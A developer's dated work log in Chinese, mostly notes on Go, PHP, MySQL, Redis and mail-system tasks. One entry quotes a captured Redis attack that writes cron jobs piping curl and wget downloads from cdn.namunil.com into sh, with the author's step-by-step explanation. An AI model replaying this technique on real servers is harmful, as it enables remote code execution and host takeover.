S类型的结构体可以包含*S指针类型的成员,这可以让我们创建递归的数据结构,比如链表和树结构等二叉树来实现一个插入排序:typetreestruct{}funcSort(values[]int){}插入并且排好序funcadd(t*tree,valueint)*tree{}往树中增加元素funcappendValues(values[]int,t*tree)[]int{}按照树的顺序把树中的值,追加到一个slice中 PHP文件进行加密——ZendGuard加密与ZendLoader解密 Go语言圣经-接口类型1.接口类型具体描述了一系列方法的集合,一个实现了这些方法的具体类型是这个接口类型的实例2.有些新的接口类型通过组合已经有的接口来定义,和结构内嵌相似,接口内嵌练习7.4:strings.NewReader函数通过读取一个string参数返回一个满足io.Reader接口类型的值(和其它值)。实现一个简单版本的NewReader,并用它来构造一个接收字符串输入的HTML解析器(§5.2) go语言隐藏式接口:interface-数据解耦鸭子理论-长得像我们就把它当做一样的好了 ==========================================================================2018年4月25日记录: 1.获取模板列表2.获取模板详情 su-s/bin/bash-c"ls"www使用nologin用户运行程序 ==========================================================================2018年4月24日记录: 1.我们看到的类型都是具体的类型。一个具体的类型可以准确的描述它所代表的值,并且展示出对类型本身的一些操作方式2.Go语言中还存在着另外一种类型:接口类型。接口类型是一种抽象的类型,当你有看到一个接口类型的值时,你不知道它是什么,唯一知道的就是可以通过它的方法来做什么3.一个类型可以自由的使用另一个满足相同接口的类型来进行替换被称作可替换性(LSP里氏替换)。这是一个面向对象的特征读写分离:if(strcasecmp($cmd,'select')===0){$conn=$this->getConnection(self::SLAVE);}else{$conn=$this->getConnection(self::MASTER);} 特别提示:报名所需证件A、身份证B、一寸白底彩色照片6张露耳免冠照(近视需要带眼镜拍摄)C、外地身份证需要居住卡或居住证(3个月有效期)D、机动车驾驶员申请专项体检合格证明。 ==========================================================================2018年4月23日记录: hello-world:1.dockerrunhello-world2.没有这个image会自动拉取镜像,然后运行起来 在ubuntu的docker中运行ubuntu1.dockercontainerrun-p6666:80-itdc86b7b90238bash//端口映射外面的6666到内部的802.dockercontainerexec-it3ce8952ce68dbash//在运行的容器中执行命令,-i 在ubuntu的docker中运行centos1.dockerpullcentos:62.给运行的容器映射本地端口1)dockercommit6e54eac36507centos_image1//提交运行中的容器为一个镜像2)dockerrun-d-it-p6667:80centos_image1/bin/bash//从新run新的镜像 制作自己的Docker容器1..dockerignore忽略打包的文件2.Dockerfile文件3.dockerimagebuild-tkoa-demo.//创建image文件4.dockercontainerrun-p8000:3000-itkoa-demo/bin/bash//从image文件生成容器运行容器的3000端口映射到本机的8000端口,-it参数容器的Shell映射到当前的Shell ==========================================================================2018年4月20日记录: session的跨子域名问题:ini_set('session.cookie_path','/');ini_set('session.cookie_domain','.mydomain.com');ini_set('session.cookie_lifetime','1800'); Go语言圣经-通过嵌入结构体来扩展类型1.Go语言提供的不同寻常的结构体嵌入机制让一个命名的结构体包含另一个结构体类型的匿名成员2.对于类型的方法我们也有类似的用法,类似于继承,但是只继承了方法 Go语言圣经-方法值和方法表达式1.p.Distance叫作“选择器”,选择器会返回一个方法"值"->一个将方法(Point.Distance)绑定到特定接收器变量的函数2.当T是一个类型时,方法表达式可能会写作T.f或者(*T).f,会返回一个函数"值",这种函数会将其第一个参数用作接收器,所以可以用通常(译注:不写选择器)的方式来对其进行调用3.看起来本书中函数和方法的区别是指有没有接收器,而不像其他语言那样是指有没有返回值。 Go语言圣经-示例:Bit数组1.Go语言里的集合一般会用map[T]bool这种形式来表示,T代表元素类型2.在数据流分析领域,集合元素通常是一个非负整数,集合会包含很多元素,并且集合会经常进行并集、交集操作,bit数组会比map表现更加理想 ==========================================================================2018年4月19日记录: 企管离职管理获取代收imap信息内部接口array_unshift头部添加元素array_push尾部添加元素 一个操作如果多次任意执行所产生的影响(或者叫副作用),都是相同的。1.调用方发起创建订单的请求,订单系统收到了,并成功创建订单了。但是由于系统原因或者网络原因等,没有及时告知调用方订单已经创建成功,调用方一直等待回复,直到超时了。调用方再次发起了创建订单的请求,这个时候就可能会生成多个订单。2.使用一个唯一的流水号ID,用来标识是不是同一个请求或者交易。这种ID通常都需要具备全局唯一性。假设让客户端来生成这个ID,1)先将这个ID保存到一个流水表里面,并且流水表中将这个ID设置为UNIQUEKEY,如果插入出现冲突了,则说明这个创建订单的请求已经处理过了,直接返回之前的操作结果。2)万一调用方进行重试的时候,重新生成一个流水号,那就没得救了,会生成多个订单了。这个只能让客户端来保证了。 ==========================================================================2018年4月18日记录: Go语言圣经-匿名函数-警告:捕获迭代变量1.将介绍Go词法作用域的一个陷阱在循环体中用循环变量d赋值一个新的局部变量,问题的原因在于循环变量的作用域2.在该循环中生成的所有函数值都共享相同的循环变量3.通常,为了解决这个问题,我们会引入一个与循环变量同名的局部变量,作为循环变量的副本。 Go语言圣经-可变参数1.参数数量可变的函数称为为可变参数函数,例子就是fmt.Printf和类似函数2.参数列表的最后一个参数类型之前加上省略符号“...”3.虽然在可变参数函数内部,...int型参数的行为看起来很像切片类型,但实际上,可变参数函数和以切片作为参数的函数是不同的类型不同:fmt.Printf("%T\n",f)4.函数名的后缀f是一种通用的命名规范,代表该可变参数函数可以接收Printf风格的格式化字符串5.interfac{}表示函数的最后一个参数可以接收任意类型 Go语言圣经-Deferred函数在调用普通函数或方法前加上关键字defer,就完成了defer所需要的语法。当defer语句被执行时,跟在defer后面的函数会被延迟执行 ==========================================================================2018年4月17日记录: Redis哈希(Hash)Redishash是一个string类型的field和value的映射表,hash特别适合用于存储对象。Redis中每个hash可以存储232-1键值对(40多亿)。hgethset QUIC(QuickUDPInternetConnection)是谷歌制定的一种基于UDP的低时延的互联网传输层协议QUIC很好地解决了当今传输层和应用层面临的各种需求,包括处理更多的连接,安全性,和低延迟。QUIC融合了包括TCP,TLS,HTTP/2等协议的特性,但基于UDP传输。 404的网站被iptables防火墙拦了while[1];doiptables-DINPUT1;done; ==========================================================================2018年4月16日记录: date("Y-m-d",strtotime('Monday'));date("Y-m-d",strtotime('NextMonday'));下周一date("Y-m-d",strtotime('LastMonday'));上周一 Go语言圣经-函数值1.函数被看作第一类值(first-classvalues):函数像其他值一样,拥有类型,可以被赋值给其他变量,传递给函数,从函数返回。对函数值(functionvalue)的调用类似函数调用2.函数值使得我们不仅仅可以通过数据来参数化函数,亦可通过行为,strings.Map对字符串中的每个字符调用add1函数3.利用fmt.Printf的一个小技巧控制输出的缩进。%*s中的*会在字符串之前填充一些空格 表扩展字段:altertable`tblz`addfidinint(10)unsignedNOTNULLDEFAULT'0';altertable`tblz`addfidoutint(10)unsignedNOTNULLDEFAULT'0'; exponential指数back-off倒退 ==========================================================================2018年4月13日记录: Go语言圣经-函数1.函数可以让我们将一个语句序列打包为一个单元,然后可以从程序中其它地方多次调用2.探索递归函数、匿名函数、错误处理和函数其它的很多特性 Go语言圣经-函数递归1.函数可以是递归的,这意味着函数可以直接或间接的调用自身2.非标准包golang.org/x/net/html,解析HTML被墙,直接下载github代码3.固定大小栈会限制递归的深度,当你用递归处理大量数据时,需要避免栈溢出 Go语言圣经-Goroutines和Channels1.并发程序指同时进行多个任务的程序,Web服务器会一次处理成千上万的请求,手机app在渲染用户画面同时还会后台执行各种计算任务和网络请求2.Go语言中的并发程序可以用两种手段来实现:goroutine和channel支持“顺序通信进程”CSP;多线程共享内存 Go语言圣经-Goroutines1.每一个并发的执行单元叫作一个goroutine2.当一个程序启动时,其主函数即在一个单独的goroutine中运行,我们叫它maingoroutine3.go语句来创建新的goroutine,gof() ==========================================================================2018年4月12日记录: ==========================================================================2018年4月11日记录: =========================================================================2018年4月10日记录: go语言圣经-复数1.我们把形如a+bi(a,b均为实数)的数称为复数,其中a称为实部,b称为虚部,i称为虚数单位。两种精度的复数类型:complex64和complex128,分别对应float32和float64两种浮点数精度2.complex函数用于构建复数,real和imag函数分别返回复数的实部和虚部 go语言圣经-布尔型1.布尔值可以和&&(AND)和||(OR)操作符结合,并且有短路行为2.&&的优先级比||高 go语言圣经-字符串1.一个字符串是一个不可改变的字节序列,文本字符串通常被解释为采用UTF8编码的Unicode码点(rune)序列2.内置的len函数可以返回一个字符串中的字节数目,不是字符数目,对于非ASCII字符的UTF8编码会要两个或多个字节3.+操作符将两个字符串链接构造一个新字符串4.字符串值也可以用字符串面值方式编写,只要将一系列字节序列包含在双引号即可5.原生的字符串面值形式是`...`,使用反引号代替双引号用于编写正则表达式,HTML模板、JSON面值、命令行提示信息会很方便6.UTF8是一个将Unicode码点编码为字节序列的变长编码,Go语言的源文件采用UTF8编码,并且Go语言处理UTF8编码的文本也很出色,Go语言的range循环在处理字符串的时候,会自动隐式解码UTF8字符串,文本字符串通常被解释为采用UTF8编码的Unicode码点(rune)序列7.每个符号都分配一个唯一的Unicode码点,Unicode码点对应Go语言中的rune整数类型(译注:rune是int32等价类型)。小于256码点值可以写在一个十六进制转义字节中,例如\x41对应字符'A',更大的码点则必须使用\u或\U转义形式 7.utf8.RuneCountInString(s)函数统计字符个数8.四个包对字符串处理尤为重要:bytes、strings、strconv和unicode包9.将一个整数转为字符串,一种方法是用fmt.Sprintf返回一个格式化的字符串;另一个方法是用strconv.Itoa(“整数到ASCII”):10.字符串转换成整数strconv.ParseIntstrconv.ParseFloat 练习3.10:编写一个非递归版本的comma函数,使用bytes.Buffer代替字符串链接操作。练习3.11:完善comma函数,以支持浮点数处理和一个可选的正负号的处理。练习3.12:编写一个函数,判断两个字符串是否是是相互打乱的,也就是说它们有着相同的字符,但是对应不同的顺序。 =========================================================================2018年4月9日记录: chunk_split—将字符串分割成小块:base64_encode()的输出转换成符合RFC2045语义的字符串。它会在每chunklen个字符后边插入end行尾序列符号。 go语言圣经-包和文件-导入包1.每个包都有一个全局唯一的导入路径2.按照惯例,一个包的名字和包的导入路径的最后一个字段相同练习2.2:写一个通用的单位转换程序,用类似cf程序的方式从命令行读取参数,如果缺省的话则是从标准输入读取参数,然后做类似Celsius和Fahrenheit的单位转换,长度单位可以对应英尺和米,重量单位可以对应磅和公斤等。 1.创建目录mkdir/home/ubuntu/gobook/src/unitconv/2.目录下创建文件unitconv.go &是二进制“与”运算,参加运算的两个数的二进制按位进行运算,运算的规律是:0&0=00&1=01&0=01&1=1 练习2.3:重写PopCount函数,用一个循环代替单一的表达式。比较两个版本的性能。(11.4节将展示如何系统地比较两个不同实现的性能。)练习2.4:用移位算法重写PopCount函数,每次测试最右边的1bit,然后统计总数。比较和查表算法的性能差异。练习2.5:表达式x&(x-1)用于将x的最低的一个非零的bit位清零。使用这个算法重写PopCount函数,然后比较性能。 go语言圣经-基础数据类型1.基础类型、复合类型、引用类型和接口类型2.基础类型,包括:数字、字符串和布尔型3.复合数据类型——数组(§4.1)和结构体(§4.2)4.引用类型包括指针(§2.3.2)、切片(§4.2))字典(§4.3)、函数(§5)、通道(§8),都是对程序中一个变量或状态的间接引用 go语言圣经-浮点数1.两种精度的浮点数,float32和float64,应该优先使用float64类型2.%g%e(带指数)或%f的形式参数打印浮点数3. =========================================================================2018年4月8日记录: go语言圣经-赋值1.元组赋值是另一种形式的赋值语句,它允许同时更新多个变量的值,用法交换两个变量的值2.最大公约数(GCD算法),计算斐波纳契数列(Fibonacci)的第N个数更加简洁3.表达式太复杂的话,应该尽量避免过度使用元组赋值;调用一个有多个返回值的函数,可以使用元组赋值,额外的返回值来表达某种错误类型,可以用下划线空白标识符_来丢弃不需要的值4.程序中还有很多地方会发生隐式的赋值行为:函数传参,复合类型的字面量 go语言圣经-包和文件1.Go语言中的包和其他语言的库或模块的概念类似,目的都是为了支持模块化、封装、单独编译和代码重用2.每个包都对应一个独立的名字空间3.如果一个名字是大写字母开头的,那么该名字是导出的 1.闭包说白了就是函数的嵌套,内层的函数可以使用外层函数的所有变量,配合匿名函数,配合作用域链就像只能往上不能往下的阶梯2.JWT的构成:头部(header),载荷(payload),签证(signature)base64_encode(json_encode(加密算法)).base64_encode(json_encode(内容主体)). =========================================================================2018年4月4日记录: go语言圣经-并发获取多个URL1.GO最新奇的特性就是对并发编程的支持,goroutine和channel2.goroutine是一种函数的并发执行方式,而channel是用来在goroutine之间进行参数传递gofunction则表示创建一个新的goroutine,并在这个新的goroutine中执行这个函数。3.make函数创建了一个传递string类型参数的channel4.io.Copy把响应的Body内容拷贝到ioutil.Discard输出流中,扔到一个垃圾桶5.goroutine尝试在一个channel上做send或者receive操作时,这个goroutine会阻塞在调用处,直到另一个goroutine往这个channel里写入、或者接收值6.用main函数来接收所有fetch函数传回的字符串,可以避免在goroutine异步执行还没有完成时main函数提前退出。 =========================================================================2018年4月3日记录: 1.上传附件的流程: 2.群发邮件发送带附件邮件 MySQL的锁机制1.数据库锁定机制简单来说,就是数据库为了保证数据的一致性,而使各种共享资源在被并发访问变得有序所设计的一种规则。2.MySQL各存储引擎使用了三种类型(级别)的锁定机制:表级锁定,行级锁定和页级锁定。3.表级锁定,获取锁和释放锁的速度很快,避免了死锁问题,并发差,主要是MyISAM,MEMORY,CSV等一些非事务性存储引擎4.行级锁定,并发处理强,获取锁和释放锁慢,容易发生死锁,主要是InnoDB存储引擎5.页面锁,介于表锁和行锁之间 =========================================================================2018年4月2日记录: 获取保存的已发送邮件模板详情接口,从s3读取文件并解析出内容: Linuxdiff比较两个目录的不同:diffdir1dir2-urNaq-a--textTreatallfilesastext.-u-UNUM--unified[=NUM]OutputNUM(default3)linesofunified[统一]context.-u,-U<列数>或--unified=<列数>:以合并的方式来显示文件内容的不同;-N--new-fileTreatabsent[缺少]filesasempty.-r--recursiveRecursivelycompareanysubdirectoriesfound.-q--briefOutputonlywhetherfilesdiffer.[不显示内容] 使用gitrebase合并多次commit =========================================================================2018年3月30日记录: 2.获取已保存群发模板列表3.续期中转站接口,插入了一个队列,暂时可能此功能不能使用 =========================================================================2018年3月29日记录: sha1_file(),计算文件的sha1散列值linuxjson格式化工具jq,yuminstalljq curl_setopt_array()-为cURL传输会话批量设置选项CURLOPT_PUTTRUE时允许HTTP发送文件。要被PUT的文件必须在CURLOPT_INFILE和CURLOPT_INFILESIZE中设置。 =========================================================================2018年3月28日记录: location=/uri=开头表示精确匹配,只有完全匹配上才能生效。location^~/uri^~开头对URL路径进行前缀匹配,并且在正则之前。location~pattern~开头表示区分大小写的正则匹配。location~*pattern~*开头表示不区分大小写的正则匹配。location/uri不带任何修饰符,也表示前缀匹配,但是在正则匹配之后。location/通用匹配,任何未匹配到其它location的请求都会匹配到,相当于switch中的default。 Go语言具有很强的表达能力,它简洁、清晰而高效。得益于其并发机制,用它编写的程序能够非常有效地利用多核与联网的计算机,其新颖的类型系统则使程序结构变得灵活而模块化。Go代码编译成机器码不仅非常迅速,还具有方便的垃圾收集机制和强大的运行时反射机制。它是一个快速的、静态类型的编译型语言,感觉却像动态类型的解释型语言。 =========================================================================2018年3月27日记录: 获取已发送群发邮件日志接口pop代收,在165和166上查看icnc接口的pop.php请求日志,没有请求日志,大叔那边的进程假死了 OrderDeny,Allow的用法:影响最终判断结果的只有两点:1.order语句中allow、deny的先后顺序,最后的是最优先的;2.allow、deny语句中各自包含的范围。 常用:OrderDeny,AllowDenyfromall//禁止所有Allowfrom61.135.152.134//允许指定ip OrderAllow,DenyAllowfromall//允许所有Denyfrom61.135.152.134//禁止指定ip =========================================================================2018年3月26日记录: 1522057495.583846[0123.206.24.121:50084]"set""dUHkp""\n\n*/1****curlcdn.namunil.com/sh.php|sh\n"1522057495.584467[0123.206.24.121:50084]"set""yA""\n\n*/2****wget-O-cdn.namunil.com/sh.php|sh\n"1522057495.585023[0123.206.24.121:50084]"set""HoemuOP""\n\n*/3****/usr/bin/curl-qscdn.namunil.com/sh.php|/bin/sh\n"1522057495.585650[0123.206.24.121:50084]"set""ehWap""\n\n*/4****/usr/bin/wget-q-O-cdn.namunil.com/sh.php|/bin/sh\n"1522057495.586313[0123.206.24.121:50084]"config""set""dir""/var/spool/cron/"1522057495.587036[0123.206.24.121:50084]"config""set""dbfilename""root"1522057495.587374[0123.206.24.121:50084]"save"1522057495.587827[0123.206.24.121:50084]"config""set""dir""/var/spool/cron/crontabs/"1522057495.588235[0123.206.24.121:50084]"save" 1.执行set命令,保存字符串,value是一条cron规则的形式2.设置备份文件的目录到cron目录3.设置备份文件的文件名成root4.save保存文件,直接把字符串中的cron规则写入了文件5.cron定时执行,远程脚本里面各种操作 config命令:CONFIGGET*获取所有的配置项configset设置配置项 5.MySQL查询优化器的局限性1)关联子查询,where条件中包含in()的子查询,最糟糕2)union中的单条加limit限制6.查询优化器的提示(hint)7.优化特定类型的查询 =========================================================================2018年3月23日记录: redis的监控日志:redis-climonitor 2.组装eml文件拼接eml文件,所有收件人拼接在To:xxx@xx.com,aaa@xx.com因为有多台服务器,所以存入共享文件目录/mnt/entmail/mass_mail中,生成一个文件sendmassmail_{用户id}.eml 3.插入redis服务中lpushsend_mass_mail"{from}|{to}|{eml文件地址}" =========================================================================2018年3月22日记录: 系统消息设计:用户表信息表关联表读取表redis默认只允许本地访问,要使redis可以远程访问可以修改redis.confserviceredis-serverrestart ini_set('pcre.backtrack_limit',-1);解决preg_replace()的长字符串限制,这种特别慢还是使用fopen才可以fgets fwrite():sendof8192bytesfailedwitherrno=32Brokenpipesmtp服务那边,配置没有同步,同步以后,我的测试机就没法发信了 =========================================================================2018年3月21日记录: 企邮webmail基础功能1.企邮web与客户端的扫码登陆功能开发2.企邮web的HTTPS协议支持功能3.环信web即时通讯功能开发4.自助日志查询5.邮件归档6.ip登陆限制7.账户禁用功能 企邮日常维护和功能,性能优化,提升系统可靠性企业用户使用过程中的问题1.处理维护日常提案,解决用户投诉问题,降低用户流失2.运营工作支持 发送群发接口:1.在/mnt/entmail/mass_mail生成eml文件,规则:sendmassmail_{id}.eml2.插入队列规则:"from|to|邮件文件地址"3.记录到发送表4.保存到已发送模板表 定时脚本:1.轮询队列内容2.取出eml文件内容,拆分替换收件人部分,循环调用内部smtp服务发信 =========================================================================2018年3月20日记录: =========================================================================2018年3月16日记录: 中转站下载文件超限上线,下载中转站文件bug修复 =========================================================================2018年3月15日记录: 工程化:即系统化、模块化、规范化的一个过程。指将具有一定规模数量的单个系统或功能部件,按照一定的规范,组合成一个模块鲜明、系统性强的整体。 mysql开启查询日志:/etc/mysql/mysql.conf.d/mysqld.cnfgeneral_log_file=/var/log/mysql/mysql.loggeneral_log=1 查看openssl的版本:opensslversion-aOpenSSL从1.0.1开始才支持TLS1.2 =========================================================================2018年3月14日记录: 如果我有10万会员需要做excel导出,请问怎么让程序不超时,两个接口一个是触发导出脚本的接口一个是查询进度的接口脚本执行,前台无需等待,脚本里往一个地方存一下当前第几条的进度,查询进度接口1秒一查进度进度100%了,文件就生成了,直接跳到文件去下载 curl网络连接不上,iptables清除一下就好了 =========================================================================2018年3月13日记录: 上线定时发信的群发单显问题 mysql内存不足启动失败:[ERROR]InnoDB:mmap(136151040bytes)failed;errno12[ERROR]InnoDB:Cannotallocatememoryforthebufferpool[ERROR]InnoDB:PlugininitializationabortedwitherrorGenericerror[ERROR]Plugin'InnoDB'initfunctionreturnederror.[ERROR]Plugin'InnoDB'registrationasaSTORAGEENGINEfailed.[ERROR]Failedtoinitializeplugins.[ERROR]Aborting需要分配交换空间swapddif=/dev/zeroof=/swapfilebs=1Mcount=1024mkswap/swapfileswapon/swapfilefree-h查看swap空间有了在文件/etc/fstab中加入/swapfileswapswapdefaults00 nonaggregated的非聚集问题使用select@@sql_mode;命令可以看到,数据库设置了ONLY_FULL_GROUP_BY的mode,对于GROUPBY聚合操作,如果在SELECT中的列,没有在GROUPBY中出现,又没有出现在聚集函数中,那么这个SQL是不合法的,因为列不在GROUPBY从句中 一个数据表,字段:id、id_num(18位身份证号);id_num前八位代表城市,第17位是奇数的话是男,是偶数的话是女,写出sql语句:统计每个城市的男性和女性selectcount(mass_name)frommass_listwheremod(substring(mass_name,17,1),2)=1groupbysubstring(mass_name,1,8)unionselectcount(mass_name)frommass_listwheremod(substring(mass_name,17,1),2)=0groupbysubstring(mass_name,1,8); =========================================================================2018年3月12日记录: 正则表达式模式修正符:i忽略大小写m多行视作一行g全局匹配s.圆点匹配换行符,默认不包括换行x空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的#以及下一个换行符之间的所有字符,包括两头,也都被忽略。epreg_replace()在替换字符串中对逆向引用作正常的替换u此修正符启用了一个PCRE中与Perl不兼容的额外功能。模式字符串被当成UTF-8。U:正则表达式的特点:就是比较”贪婪“.*.+所有字符都符合这个条件 MySQL预处理技术:1.减轻服务器压力2.防止sql注入,把传递过去的危险字符也只当做参数处理3.将sql语句强制一分为二:第一部分为前面相同的命令和结构部分,第二部分为后面可变的数据部分基本使用preparesql_1from"select*frommass_list";executesql_1;droppreparesql_1;传参:preparesql_2from"select*frommass_listwhereid=";set@id=1;executesql_2using@id; preparesql_3from"insertintomass_list(mass_name)values()";set@name='zhang';executesql_3using@name; preparesql_3from"insertintomass_list(mass_name,user_email_id)values(,),(,)";set@name='zhang';set@id=1;executesql_3using@name,@id,@name,@id;//参数按顺序传递 =========================================================================2018年3月9日记录: 测试查找群发单显功能问题,定时发信,群发单显功能,没有拆分后发送 PDO提供了三种不同的错误处理模式1.PDO::ERRMODE_SILENT静默模式,不终止代码,只能使用$pdo->errorCode()和$pdo->errorInfo()获取错误信息2.PDO::ERRMODE_WARNING警告模式,不终止代码,在错误日志中出现warning类型的错误信息 3.PDO::ERRMODE_EXCEPTION异常模式,终止代码,抛出异常信息,使用try()catch(){}捕获 =========================================================================2018年3月8日记录: 新建群发列表接口代码编写 json_encode()1.默认就是把所有ASCII可显示字符以外的统统转义为Unicode如果把那些字符转义为Unicode之后,无论文件编码是否一致,都不会出现乱码,因此中文转成Unicode编码是有好处的 2.对单引号和双引号的处理是有差异的,并且受数组键值包裹字符串的引号影响 3.json_encode(array(),JSON_FORCE_OBJECT));输出空的对象json_encode(newstdClass());另一种方式JSON_UNESCAPED_SLASHES不要转义/JSON_UNESCAPED_UNICODE汉字不要编码成Unicode字符 4.出现错误时的处理,json_decode失败的问题: var_dump(json_last_error());//打印出错信息var_dump($b); 1.先打开ip138之类的网站,看看什么运营商2.劫持一般是让他改DNS或者帮他处理,或者公司的话找网管。3.ping的慢,可能要看看我们自己的服务端监控,没有问题的话,可能是客户的网络或者路由问题。跨运营商也有丢包的情况 =========================================================================2018年3月7日记录: 一、什么是接口文档?在项目开发中,web项目的前后端分离开发,APP开发,需要由前后端工程师共同定义接口,编写接口文档,之后大家都根据这个接口文档进行开发,到项目结束前都要一直维护。二、为什么要写接口文档?1、项目开发过程中前后端工程师有一个统一的文件进行沟通交流开发2、项目维护中或者项目人员更迭,方便后期人员查看、维护 RESTful接口:REST是一个很流行的前后端交互形式的约定。这只是一套约定,并不是某个技术标准.REST充分利用了HTTP规范中的方法,达到接口描述的语义化 安全:1.使用HTTPS协议2.数据加密 权限处理:1.客户端接口,携带验证token2.WEB端接口,使用SESSION验证机制 =========================================================================2018年3月6日记录: 群发助手项目文档设计 动态设置php.ini中的include_path配置选项: 两种方式set_include_path($new_include_path)ini_set('include_path',$new_include_path);利用常量PATH_SEPARATOR可跨平台扩展includepath,可以把自己设置的path加在现有include_path的尾部 MERGE存储引擎把一组MyISAM数据表当做一个逻辑单元来对待,让我们可以同时对他们进行查询 =========================================================================2018年3月5日记录: 索引(Index)是帮助MySQL高效获取数据的数据结构,可以理解为“排好序的快速查找数据结构”,在数据之外,数据库系统还维护着满足特定查找算法的数据结构,这些数据结构以某种方式引用(指向)数据,这样就可以在这些数据结构上实现高级查找算法 建表的同时创建一个单列的普通索引1.showstatuslike'Handler_read%';查看索引的使用情况Handler_read_first全索引扫描Handler_read_key数值越高越好,高效的使用了索引Handler_read_next越小越好Handler_read_rnd没有使用索引或者使用太多排序Handler_read_prev代表读取索引的上列,一般发生在ORDERBY…DESC。Handler_read_rnd_next进行数据文件扫描,越小越好 覆盖索引是select的数据列只用从索引中就能够取得,不必读取数据行,你想要通过索引覆盖select多列,那么需要给需要的列建立一个多列索引,当然如果带查询条件,where条件要求满足最左前缀原则 逗号分隔值(Comma-SeparatedValues,CSV,有时也称为字符分隔值,因为分隔字符也可以不是逗号),其文件以纯文本形式存储表格数据(数字和文本)上传csv后,不用再另存,直接使用$_FILES['uploadfile']['tmp_name']文件路径 =========================================================================2018年3月2日记录: 对数公式是数学中的一种常见公式,如果a^x=N(a>0,且a≠1),则x叫做以a为底N的对数,记做x=log(a)(N),其中a要写于log右下。其中a叫做对数的底,N叫做真数。通常我们将10以底的对数叫做常用对数,以e为底的对数称为自然对数。 mysql的索引分为单列索引多列索引唯一索引多列索引生效原则是从前往后依次使用生效,如果中间某个索引没有使用,那么断点前面的索引部分起作用,断点后面的索引没有起作用;index(a,b,c),最左前缀原则wherea=3andb=45andc=5....这种三个索引顺序使用中间没有断点,全部发挥作用;wherea=3andc=5...这种情况下b就是断点,a发挥了效果,c没有效果whereb=3andc=4...这种情况下a就是断点,在a后面的索引都没有发挥作用,这种写法联合索引没有发挥任何效果;whereb=45anda=3andc=5....这个跟第一个一样,全部发挥作用,abc只要用上了就行,跟写的顺序无关 =========================================================================2018年3月1日记录: =========================================================================2018年2月28日记录: 1.DNS解析流程:FQDN:FullyQualifiedDomainName,叫做绝对域名名称,域名末尾有一个句点ISP:(InternetServiceProvider),互联网服务提供商TLD:顶级域名NS服务器:该服务器上有很多的DNS软件,告诉调用者具体那台机器维护某个域名的DNS信息(比如A记录),为了获取某个域名的IP地址,需要去向它查询 3.dig-tnssopans.com查询ns服务器dig-tmxsopans.com查看mx记录dig+tracewww.sopans.comDNS迭代查询流程DNS会逐级缓存,如果要查询最新的信息,可以这样dig@dns1.hichina.com-tawww.sopans.comdig@8.8.8.8-tawww.sopans.com 给域名添加两个A记录到不同的ip,可以作为DNS负载 =========================================================================2018年2月27日记录: 1.群发列表功能梳理,用户自建群发列表,发送群发邮件 计算email的hashfunctiongetEmailHash($email,$mod=10){$m=md5($email,true);$f=0;$wm=65536%$mod;for($i=0;$i<4;++$i){$n=ord($m[$i*2+1])*256+ord($m[$i*2]);$cm=$n%$mod;for($j=0;$j<$i;++$j){$cm=$cm*$wm;if($cm>$mod){$cm=$cm%$mod;}}$f+=$cm;}return$f%$mod;} OAuth应用通常包括三种角色:Consumer:消费方;ServiceProvider:服务提供者;User:用户 2.POSIX风格正则表达式:基本正则表达式(BasicRegularExpressionBRE),扩展正则表达式(ExtendedRegularExpressionERE)Perl风格的正则表达式(PerlRegularExpressionPRE) grep默认是BRE,-E是ERE,-P是PRE deposits存放sanity神志正常 =========================================================================2018年2月26日记录: linux查看平均负载cat/proc/loadavgon-cpu/off-cpu火焰图的使用是程序性能分析的利器pgrep根据名称查看进程idstrace追踪系统调用和信号TokuDB是一个支持事务的“新”引擎,有着出色的数据压缩功能devops三板斧,awk,strace,Gnuplot 快速查找配置文件:strace-eopennginx2>&1|grepconf =========================================================================2018年2月24日记录: 春节上班第一天 =========================================================================2018年2月11日记录: 静态链表:数组描述的链表,游标实现法 =========================================================================2018年2月9日记录: 扫码登陆功能上线: usleep()函数延迟代码执行若干微秒。一微秒等于百万分之一秒。 =========================================================================2018年2月8日记录: 防止洪水攻击的脚本#!/bin/bash/bin/netstat-na|grepSYN_RECV|awk'{print$5}'|awk-F:'{print$1}'|sed'/^$/d'|sort|uniq-c|sort-rn|head-n10|grep-v-E'192.168|127.0'′|sed'/^$/d'|awk'{if($2!=null&&$1>20);{print$2}}'>/tmp/dropip foriin$(cat/tmp/dropip)do/sbin/iptables-AINPUT-s$i-jDROPecho"$ikillat`date`">>/var/log/ddosdone =========================================================================2018年2月7日记录: DNS(DomainNameSystem,域名系统),万维网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串第一,从协议的层面看,它是一种应用层协议第二,从实体的层面看,它是一个由分层的DNS服务器实现的分布式数据库根DNS服务器,顶级域(Top-LevelDomain,TLD)DNS服务器和权威DNS服务器根DNS服务器:因特网上有13个根DNS服务器,其中大部分分布在北美洲 =========================================================================2018年2月6日记录: 西单机房故障,影响登陆,收信,发信 ftell—返回文件指针读/写的位置fseek—在文件指针中定位fgets—从文件指针中读取一行fread($fp,2);读取指定字节数 =========================================================================2018年2月5日记录: redis安装:apt-getinstallredis-serverredis-serverredis-cliredis>setfoobarOKredis>getfoo"bar" 命令:1.遍历keykeys/scankeys*;scan02.判断key是否存在existsexistsfoo3.删除key,deldelfoo4.返回给定key的value类型,typetypefoo5.给list添加元素,lpushlpushfoo516.查看list长度,llenllenfoo7.查看元素,lindexlindexfoo08.查看一段列表,lrangelrangefoo0-19.从头部删除元素,lpoplpopfoo /dev/null是太阳黑洞的伪设备curl-Iwww.baidu.com2>/dev/null|head-1只显示header头,把stderr标准错误无用的信息丢弃/dev/zero空数据流的特殊设备文件ddif=/dev/zeroof=1.txtbs=1Mcount=2生成一个指定大小的空文件if=文件名:输入文件名of=文件名:输出文件名bs=字节大小count=个数 =========================================================================2018年2月2日记录: Maximumexecutiontimeof30secondsexceededhtmlspecialchars_decode(); 1.查找发送邮件服务器错误问题2.修改pop代收为最近30天和收取全部需求整理3.测试apache运行模式优化问题4.测试TCP连接问题 =========================================================================2018年2月1日记录: 查找发送邮件服务器错误问题 manascii可以生成ascii码表 =========================================================================2018年1月31日记录: 修改pop代收为最近30天和收取全部需求整理 TCP协议概述1.TCP提供一种面向连接的、可靠的字节流服务。2.两个应用程序通过TCP连接交换8bit字节构成的字节流。3.每个TCP首部都包含源端和目的端的端口号,用于寻找发端和收端应用进程。这两个值加上IP首部中的源端IP地址和目的端IP地址唯一确定一个TCP连接。4.一个IP地址和一个端口号也称为一个插口(socket),出现在最早的TCP规范(RFC793) 